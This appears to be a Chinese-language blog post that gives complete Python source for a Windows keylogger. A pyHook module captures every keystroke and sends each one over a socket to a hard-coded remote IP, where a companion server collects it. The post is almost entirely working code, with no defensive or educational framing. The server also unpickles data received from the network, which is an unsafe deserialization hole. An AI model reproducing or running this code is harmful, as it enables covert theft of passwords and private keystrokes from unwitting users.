python——簡單的鍵盤監聽程序

pywin32下載路徑:https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

pyHook下載路徑:https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook

CRTL+F搜索pyHook,下載whl文件,然後pip install安裝

Server端:

import sys
import pickle
from io import BytesIO
from socket import *

def Server_PIC(ip,port):
    mysocket= socket(AF_INET,SOCK_STREAM)
    mysocket.bind((ip,port))
    mysocket.listen(5)

    file_no = 1
    while True:
        connection,address =mysocket.accept()
        print('server connected by ',address)
        received_message =b''
        received_message_fragment = connection.recv(1024)

        while received_message_fragment:
            received_message = received_message + received_message_fragment
            received_message_fragment =connection.recv(1024)

        try:
            obj = pickle.loads(received_message)
            print(obj)
            #you can save them in a file !
        except EOFError:
            filename = 'recv_image_'+str(file_no)+'.jpg'
            recv_image = open(filename,'wb')
            recv_image.write(received_message)
            file_no +=1

        connection.close()

if __name__ == '__main__':
    ip = '0.0.0.0'
    port = 8282
    Server_PIC(ip,port)

Client端:

import sys
import pickle
from io import BytesIO
from socket import *

def Client_PIC(ip, port ,obj):

    try:
        msg =pickle.dumps(obj)
        send_message = BytesIO(msg)
        send_message_fragment = send_message.read(1024)
    except TypeError:
        send_message = obj
        send_message_fragment =send_message.read(1024)

    sockobj = socket(AF_INET,SOCK_STREAM)
    sockobj.connect((ip, port))

    while send_message_fragment :
        sockobj.send(send_message_fragment)
        send_message_fragment = send_message.read(1024)

    sockobj.close( )

if __name__ =='__main__':
    dict = {'key1':'this should be hidden'}
    Client_PIC('192.168.2.104',8282,dict)

鍵盤讀取模塊:

import pyHook,pythoncom
from KeyRecordClient import Client_PIC

def KeyBoared(event):
    dict_key ={}
    dict_key['Key:'] = event.Key
    Client_PIC('192.168.2.104',8282,dict_key)

def keylogger():
    # 創建一個“鉤子”管理對象
    h = pyHook.HookManager()
    # 監聽所有鍵盤事件
    h.KeyDown = KeyBoared
    # 設置鍵盤“鉤子”
    h.HookKeyboard()
    # 進入循環,如不手動關閉,程序將一直處於監聽狀態
    pythoncom.PumpMessages()

if __name__ =='__main__':
    keylogger()



 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章